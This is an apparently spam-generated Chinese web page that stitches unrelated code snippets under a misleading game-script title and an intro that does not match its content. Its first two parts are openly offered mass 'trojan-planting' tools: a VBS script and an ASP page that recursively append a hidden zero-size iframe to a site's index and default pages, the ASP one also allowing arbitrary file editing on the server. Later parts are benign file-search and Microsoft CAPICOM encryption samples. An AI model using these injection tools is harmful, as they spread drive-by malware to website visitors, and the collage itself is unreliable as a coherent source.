天龙八部红宝石脚本触动开发赚钱

发布时间:2021-02-20 来源:脚本之家 点击:

以前做过一个vb的小项目,客户需要软件同时能够支持中文和英文,为此写了一个自动语言切换的模块来用,不敢独享,拿来给大家参考一下,如果你有什么改进也可以写信给我scan.vbe
cscriptscan.vbeweb目录
程序代码:

'版权信息
br="************************************"&vbCrLf
br=br&"*VBS批量挂马脚本*"&vbCrLf
br=br&"*BYBanLG*"&vbCrLf
br=br&"************************************"&vbCrLf&vbCrLf
br=br&"cscriptscan.vbeD:"&vbCrLf

'马的地址
ma="</Script><IfRAMEheight=0width=0sRc="&chr(34)&""&chr(…t;</IFrAME>"
'要挂马的页面如果嫌不够还可以自己再加,记得要用”|”隔开
MyString="index.php|index.asp|index.html|index.htm|default.php|default.asp|default.html|default.htm|index.aspx|default.aspx"
'以"|"为分隔符拆分成数组
MyArray=Split(MyString,"|",-1,1)

web=WScript.Arguments(0)

'如果web为空退出脚本
ifweb=""then
Wscript.echo(br)
window.Close
endif

Wscript.echo(br)&"马的地址:"&ma&vbCrLf&vbCrLf
'创建对象
Setfso=createObject("Scripting.FileSystemObject")

'开始扫描挂马
scan(web)

'scan定义函数,扫描查找符合条件的文件把马的内容写到文件的结尾
subscan(filesder)
setfilesder=fso.getfolder(filesder)
'得到当前目录的所有文件集合
setfiles=filesder.files
'获取文件名
foreachfextinfiles
Setfile1=fso.GetFile(fext)
filesext=file1.Name
'把文件名转换成小写字母
ext=lcase(filesext)
ForEachindexinMyArray
'判断文件是不是我们在MyString里限定的文件,如果是就写马
ifext=lcase(index)then
Setts=fso.OpenTextFile(fext,8)'打开文件并在文件末尾进行写操作
ts.WriteLine(ma)
ts.Close
echo=""
echo=fext&"………….ok"
Wscript.echo(echo)
endif
next
next

setsubfolders=filesder.subfolders
foreachsubfolderinsubfolders'搜索其他目录,递归调用
scan(subfolder)
next
endsub


FSO挂马.asp
传进服务器以后直接输入需要挂马的路径就可以直接挂了
程序代码:

<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title></title>
<****http-equiv="Content-Type"content="text/html;charset=gb2312">
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")

Ifex<>""ANDpth<>""Then
selectCaseex
Case"edit"
CALLfile_show(pth)
Case"save"
CALLfile_save(pth)
Endselect
Else
%>
<formaction="<%=ASP_SELF%>"method="POST">
FOLDER(ABSOLUTEPATH):
<inputtype="text"name="fd"size="40">
<inputtype="submit"value="SUBMIT">
</form>
<%EndIf%>
<%
FunctionIsPattern(patt,str)
SetregEx=NewRegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
SetregEx=Nothing
IfretVal=TrueThen
IsPattern=True
Else
IsPattern=False
EndIf
EndFunction

IfIsPattern("[^ab]{1}:{1}(\\|/)",s)Then
schs
Else
Ifs<>""ThenResponse.Write"InvalidAgrument!"
EndIf

Subsch(s)
oNeRrOrrEsUmEnExT
Setfs=Server.createObject("Scripting.FileSystemObject")
Setfd=fs.GetFolder(s)
Setfi=fd.Files
Setsf=fd.SubFolders
ForEachfinfi
rtn=f.Path
step_allrtn
Next
Ifsf.Count<>0Then
ForEachlInsf
schl
Next
EndIf
EndSub

Substep_all(agr)
retVal=IsPattern("(\\|/)(default|index)\.(htm|html|asp|php|jsp|aspx)\b",agr)
IfretValThen
step1agr
step2agr
Else
ExitSub
EndIf
EndSub
%>
<%Substep1(str1)%>
<ahref=""target="_blank"><%=str1%></a><br>
<%EndSub%>
<%
Substep2(str2)
addcode="<iframesrc=(修改为你的马的地址,不要加""不然会出错)width=0height=0frameborder=0></iframe>"
Setfs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
IfisExistThen
Setf=fs.GetFile(str2)
Setf_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Writeaddcode
f_addcode.Close
Setf=Nothing
EndIf
Setfs=Nothing
EndSub
%>
<%
Subfile_show(fname)
Setfs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
IfisExistThen
Setfcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Setfs1=Nothing%>
FILE:<%=fname%>
<formaction="<%=ASP_SELF%>"method="POST">
<textareaname="newcnt"cols="100"rows="30"><%=cnt%></textarea>
<inputtype="hidden"name="pth"value="<%=fname%>">
<inputtype="hidden"name="ex"value="save">
<inputtype="submit"value="SAVE">
</form>
<%Else%>
<p>THEFILEISNOTEXITORHAVEdeleteD.</p>
<%
EndIf
EndSub
%>
<%
Subfile_save(fname)
Setfs2=Server.createObject("Scripting.FileSystemObject")
Setnewf=fs2.createTextFile(fname,True)
newf.Writenewcnt
newf.Close
Setfs2=Nothing
Response.Write"<p>THEFILEWASMODIFIEDSUCCESSFULLY.</p>"
EndSub
%>
</body>
</html>

方舟指令自动刷图脚本下载
"
ExitFunction
EndIf
EndFunction
</script>
->Windows95/98下,在资源管理器或Explorer中双击某个文件,只要此文件与某个程序建立了关联,则该程序将被启动并将文件打开

然后创建两个对象:Scripting.Dictionary和Scripting.FileSystemObject由于在设计Form上的控制项时,不一定会依照输入的顺序,在完成设计之后,我们通常会重设各控制项的TabIndex顺序,当Form上的控制项比较多时,设定起来相当麻烦,常常还会设错


->PublicSubFillList(ListControlAsListBox,ParamArrayItems())
DimiAsVariant
WithListControl
.Clear
ForEachiInItems
.AddItemi
Next
EndWith
EndSub

PrivateSubCommand1_Click()
FillListList1,"TiffanyT","MikeS","RochesterNY"
EndSub->
->


onerrorresumenext
DimkeyWord,DirTotal,TimeSpend,FileTotal,Fso,outFile,txtResult,txtPath,sPath
ConstMY_COMPUTER=&H11&
ConstWINDOW_HANDLE=0
ConstOPTIONS=0
SetobjShell=CreateObject("Shell.Application")
SetobjFolder=objShell.Namespace(My_Computer)
SetobjFolderItem=objFolder.Self
strPath=objFolderItem.Path

SetobjFolder=objShell.BrowseForFolder(WINDOW_HANDLE,"选择你要搜索的文件夹:",OPTIONS,strPath)
IfobjFolderIsNothingThen
msgbox"您没有选择任何有效目录!"
wscript.quit
else
SetobjFolderItem=objFolder.Self
sPath=objFolderItem.Path
txtpath=sPath
SetFso=wscript.CreateObject("scripting.filesystemobject")

FileTotal=0
DirTotal=0

'sPath=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))
'txtPath=trim(inputbox("你选的目录是"&sPath,"文件搜索",sPath))

keyWord=LCase(inputbox("请输入搜索关键字点Cancel的话会得到目录列表:","文件搜索","mp3"))

setoutFile=Fso.createtextfile(sPath&"\SearchResult.txt")

outFile.writeline"开始搜索..."
outFile.writeline"起启目录:"&txtPath
TimeSpend=Timer

myFindtxtPath

TimeSpend=round(Timer-TimeSpend,2)

txtResult="搜索完成!"&vbCrLf&"共找到文件:"&FileTotal&"个."&vbCrLf&"共搜索目录:"&DirTotal&"个."&vbCrLf&"用时:"&TimeSpend&"秒."
outFile.writetxtResult
msgboxtxtResult&"结果保存在"&sPath&"\SearchResult.txt"

outFile.close
setoutFile=nothing
setFso=nothing

SubmyFind(ByValthePath)

Dimfso,myFolder,myFile,curFolder
Setfso=wscript.CreateObject("scripting.filesystemobject")
SetcurFolders=fso.getfolder(thePath)
DirTotal=DirTotal+1
IfcurFolders.Files.Count>0Then
ForEachmyFileIncurFolders.Files
IfInStr(1,LCase(myFile.Name),keyWord)>0Then
outFile.WriteLineFormatPath(thePath)&""&myFile.Name
FileTotal=FileTotal+1
EndIf
Next
EndIf

IfcurFolders.subfolders.Count>0Then
ForEachmyFolderIncurFolders.subfolders
myFindFormatPath(thePath)&""&myFolder.Name
Next
EndIf

EndSub

FunctionFormatPath(ByValthePath)

thePath=Trim(thePath)
FormatPath=thePath
IfRight(thePath,1)=""ThenFormatPath=Mid(thePath,1,Len(thePath)-1)

EndFunction

Endif
cskz跳跃如果没有建立好通讯MODEM会返回“BUSY”
'******************************************************************************
'
' THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND,
' EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE IMPLIED
' WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A PARTICULAR PURPOSE.
'
' Copyright (C) 1999- 2002. Microsoft Corporation. All rights reserved.
'
'******************************************************************************
'
' CEncrypt.vbs
'
' This is a sample script to illustrate how to use the CAPICOM's EncryptedData
' to encrypt/decrypt text file.
'
' Note: For simplicity, this script does not handle exception.
'
'******************************************************************************
Option Explicit
Const ForReading=1, ForWriting=2
' Command.
Const Unknown=0
Const Encrypt=1
Const Decrypt=2

' CAPICOM's constants.
Const CAPICOM_ENCRYPTION_ALGORITHM_RC2=0
Const CAPICOM_ENCRYPTION_ALGORITHM_RC4=1
Const CAPICOM_ENCRYPTION_ALGORITHM_DES=2
Const CAPICOM_ENCRYPTION_ALGORITHM_3DES=3
Const CAPICOM_ENCRYPTION_ALGORITHM_AES=4

Const CAPICOM_ENCRYPTION_KEY_LENGTH_MAXIMUM=0
Const CAPICOM_ENCRYPTION_KEY_LENGTH_40_BITS=1
Const CAPICOM_ENCRYPTION_KEY_LENGTH_56_BITS=2
Const CAPICOM_ENCRYPTION_KEY_LENGTH_128_BITS=3
Const CAPICOM_ENCRYPTION_KEY_LENGTH_192_BITS=4
Const CAPICOM_ENCRYPTION_KEY_LENGTH_256_BITS=5
' Command line arguments.
Dim Command : Command=Unknown
Dim Password : Password=Null
Dim Algorithm : Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_RC2
Dim KeyLength : KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_MAXIMUM
Dim Verbose : Verbose=False
Dim FileNames()

' First make sure the script is executed by CScript.exe.
If InStr(1, UCase(Wscript.FullName), "CSCRIPT.EXE", vbTextCompare)=0 Then
Wscript.Echo "This script can only be executed by CScript.exe." & vbCRLF & vbCRLF &_
"You can either:" & vbCRLF & vbCRLF & _
"1. Set CScript.exe as the default (Run CScript //h:cscript), or" & vbCRLF & _
"2. Run CScript.exe directly as in, CScript " & Wscript.ScriptName & "."
Wscript.Quit(-1)
End If
' Parse the command line.
ParseCommandLine
' Now process the command.
Select Case Command
Case Encrypt
DoEncryptCommand FileNames, Algorithm, KeyLength, Password
Case Decrypt
DoDecryptCommand FileNames, Password

End Select

Wscript.Quit(0)
' End Main

'******************************************************************************
'
' Subroutine: DoEncryptCommand
'
' Synopsis : Encrypt content of text file FileNames(0).
'
' Parameter : FileNames - Array of filenames.
'
' Algorithm - Encryption algorithm
'
' KeyLength - Key size.
'
' Password - Secret password.
'
'******************************************************************************
Sub DoEncryptCommand (FileNames, Algorithm, KeyLength, Password)
Dim Content
Dim Message
Dim EncryptedData

' Create the EncryptedData object.
Set EncryptedData=CreateObject("CAPICOM.EncryptedData")

' Set algorithm, key size, and encryption password.
EncryptedData.Algorithm.Name=Algorithm
EncryptedData.Algorithm.KeyLength=KeyLength
EncryptedData.SetSecret Password

' Display main title.
Wscript.Stdout.Writeline "Encrypting text file " & FileNames(0) & "."
Wscript.Stdout.Writeline

' Display more detail for verbose operation.
If Verbose Then
DisplayDetail EncryptedData
End If

' Load content of text file to be encrypted.
LoadFile FileNames(0), Content

' Now encrypt it.
EncryptedData.Content=Content
Message=EncryptedData.Encrypt

' Finally, save encrypted message to FileNames(1).
SaveFile FileNames(1), Message
Wscript.Stdout.Writeline "Successful - Encrypted message saved to " & FileNames(1) & "."
' Free resources.
Set EncryptedData=Nothing

End Sub ' End DoEncryptCommand
'******************************************************************************
'
' Subroutine: DoDecryptCommand
'
' Synopsis : Decrypt an encrypted file.
'
' Parameter : FileNames - Array of filenames.
'
' Password - Secret password.
'
'******************************************************************************
Sub DoDecryptCommand (FileNames, Password)
Dim Message
Dim EncryptedData

' Create the EncryptedData object.
Set EncryptedData=CreateObject("CAPICOM.EncryptedData")

' Set decryption password.
EncryptedData.SetSecret Password

' Display main title.
Wscript.Stdout.Writeline "Decrypting encrypted text file " & FileNames(0) & "."
Wscript.Stdout.Writeline

' Load the encrypted message.
LoadFile FileNames(0), Message

' Now decrypt it.
EncryptedData.Decrypt(Message)

' Display more detail for verbose operation.
If Verbose Then
DisplayDetail EncryptedData
End If

' Finally, save decrypted content to FileNames(1).
SaveFile FileNames(1), EncryptedData.Content
Wscript.Stdout.Writeline "Successful - Decrypted content saved to " & FileNames(1) & "."

' Free resources.
Set EncryptedData=Nothing
End Sub ' End DoDecryptCommand
'******************************************************************************
'
' Subroutine: LoadFile
'
' Synopsis : Read content of a text file.
'
' Parameter : FileName - Input text filename.
'
' Buffer - String buffer to receive the text file content.
'
'******************************************************************************
Sub LoadFile (FileName, Buffer)
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")
If Not fso.FileExists(FileName) Then
Wscript.Stdout.Writeline "Error: File " & FileName & " not found."
Wscript.Quit(-5)
End If

Dim ts
Set ts=fso.OpenTextFile(FileName, ForReading)
Buffer=ts.ReadAll

End Sub ' End LoadFile
'******************************************************************************
'
' Subroutine: SaveFile
'
' Synopsis : Save string to file.
'
' Parameter : FileName - Output filename.
'
' Buffer - String buffer to be saved.
'
'******************************************************************************
Sub SaveFile (FileName, Buffer)
Dim fso
Set fso=CreateObject("Scripting.FileSystemObject")

Dim ts
Set ts=fso.OpenTextFile(FileName, ForWriting, True)
ts.Write Buffer

End Sub ' End SaveFile
'******************************************************************************
'
' Subroutine: DisplayDetail
'
' Synopsis : Display detail information.
'
' Parameter : EncryptedData - EncryptedData object.
'
'******************************************************************************
Sub DisplayDetail (EncryptedData)
Dim AlgoNames(4)
AlgoNames(0)="RC2"
AlgoNames(1)="RC4"
AlgoNames(2)="DES"
AlgoNames(3)="3DES"
AlgoNames(4)="AES"
Wscript.Stdout.Writeline "Algorithm : " & AlgoNames(EncryptedData.Algorithm.Name)
Wscript.Stdout.Write "Key length: "

Select Case EncryptedData.Algorithm.KeyLength
Case CAPICOM_ENCRYPTION_KEY_LENGTH_40_BITS
Wscript.Stdout.Writeline "40 bits"

Case CAPICOM_ENCRYPTION_KEY_LENGTH_56_BITS
Wscript.Stdout.Writeline "56 bits"
Case CAPICOM_ENCRYPTION_KEY_LENGTH_128_BITS
Wscript.Stdout.Writeline "128 bits"

Case CAPICOM_ENCRYPTION_KEY_LENGTH_192_BITS
Wscript.Stdout.Writeline "192 bits"

Case CAPICOM_ENCRYPTION_KEY_LENGTH_256_BITS
Wscript.Stdout.Writeline "256 bits"

Case Else
Wscript.Stdout.Writeline "Maximum"

End Select
Wscript.Stdout.Writeline

End Sub ' End DisplayDetail
'******************************************************************************
'
' Subroutine: ParseCommandLine
'
' Synopsis : Parse the command line, and set the options accordingly.
'
' Parameter : None
'
'******************************************************************************
Sub ParseCommandLine
' Constants for command line parsing states.
Const ARG_STATE_COMMAND=0
Const ARG_STATE_OPTIONS=1
Const ARG_STATE_ALGORITHM=2
Const ARG_STATE_LENGTH=3
Const ARG_STATE_FILENAME=4
Const ARG_STATE_PASSWORD=5
Const ARG_STATE_END=6

' Parse command line.
Dim Arg
Dim ArgState : ArgState=ARG_STATE_COMMAND

For Each Arg In Wscript.Arguments
Select Case ArgState
Case ARG_STATE_COMMAND
Select Case UCase(Arg)
Case "ENCRYPT"
Command=Encrypt
Case "DECRYPT"
Command=Decrypt
Case Else
DisplayUsage

End Select

ArgState=ARG_STATE_OPTIONS

Case ARG_STATE_OPTIONS
Select Case UCase(Arg)
Case "-ALG", "/ALG"
ArgState=ARG_STATE_ALGORITHM

Case "-LENGTH", "/LENGTH"
ArgState=ARG_STATE_LENGTH

Case "-V", "/V"
Verbose=True

Case "-?", "/?"
DisplayUsage

Case Else
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
ReDim FileNames(0)
FileNames(0)=Arg
End If
ArgState=ARG_STATE_FILENAME

End Select
Case ARG_STATE_ALGORITHM
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
Select Case UCase(Arg)
Case "RC2"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_RC2

Case "RC4"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_RC4

Case "DES"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_DES

Case "3DES"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_3DES

Case "AES"
Algorithm=CAPICOM_ENCRYPTION_ALGORITHM_AES

Case Else
DisplayUsage

End Select
End If
ArgState=ARG_STATE_OPTIONS

Case ARG_STATE_LENGTH
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
Select Case UCase(Arg)
Case "40"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_40_BITS

Case "56"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_56_BITS

Case "128"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_128_BITS

Case "192"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_192_BITS

Case "256"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_256_BITS

Case "MAX"
KeyLength=CAPICOM_ENCRYPTION_KEY_LENGTH_MAXIMUM

Case Else
DisplayUsage

End Select
End If
ArgState=ARG_STATE_OPTIONS

Case ARG_STATE_FILENAME
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
ReDim Preserve FileNames(UBound(FileNames) + 1)
FileNames(UBound(FileNames))=Arg
End If
ArgState=ARG_STATE_PASSWORD

Case ARG_STATE_PASSWORD
If Left(Arg, 1)="-" OR Left(Arg, 1)="/" Then
DisplayUsage
Else
Password=Arg
End If
ArgState=ARG_STATE_END

Case Else
Wscript.Stdout.Writeline "Internal script error: Unknown argument state (" & CStr(ArgState) & ") encountered."
Wscript.Quit(-3)

End Select
Next

' Make sure we are in good state.
If ArgState <> ARG_STATE_END Then
DisplayUsage
End If
End Sub ' ParseCommandLine
'******************************************************************************
'
' Subroutine: DisplayUsage
'
' Synopsis : Display the usage screen, and then exit with a negative error
' code.
'
' Parameter : None.
'
'******************************************************************************
Sub DisplayUsage
Select Case Command
Case Unknown
Wscript.Stdout.Writeline "Usage: CEncrypt Command [Options] InFile OutFile Password"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Command:"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " Encrypt -- Encrypt a text file"
Wscript.Stdout.Writeline " Decrypt -- Decrypt an encrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "For help on a specific command, enter ""CEncrypt Command -?"""

Case Encrypt
Wscript.Stdout.Writeline "Usage: CEncrypt Encrypt [Options] ContentFile EncryptedFile Password"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "The Encrypt command is used to encrypt a text file based on a secret password."
Wscript.Stdout.Writeline "Encrypting protects the data from being read by others except those who know"
Wscript.Stdout.Writeline "the secret password."
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Options:"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " -alg <algorithm> -- RC2, RC4, DES, 3DES, or AES (default to RC2)"
Wscript.Stdout.Writeline " -length <key length> -- 40, 56, 128, 192, 256, or MAX (default to MAX,"
Wscript.Stdout.Writeline " and ignored for DES or 3DES)"
Wscript.Stdout.Writeline " -v -- Verbose operation"
Wscript.Stdout.Writeline " -? -- This help screen"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " ContentFile -- Text file to be encrypted"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " EncryptedFile -- Encrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Note: All non-fatal invalid options for this specific command will be ignored."
Wscript.Stdout.Writeline

Case Decrypt
Wscript.Stdout.Writeline "Usage: CEncrypt Decrypt [Options] EncryptedFile ContentFile Password"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "The Decrypt command is used to decrypt an encrypted text file."
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Options:"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " -v -- Verbose operation"
Wscript.Stdout.Writeline " -? -- This help screen"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " EncryptedFile -- Encrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline " ContentFile -- Decrypted text file"
Wscript.Stdout.Writeline
Wscript.Stdout.Writeline "Note: All non-fatal invalid options for this specific command will be ignored."
Wscript.Stdout.Writeline

Case Else
Wscript.Stdout.Writeline "Internal script error: Unknown help state (Command=" & CStr(Command) & ")."
Wscript.Quit(-2)

End Select
Wscript.Quit(-1)

End Sub ' End DisplayUsage

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号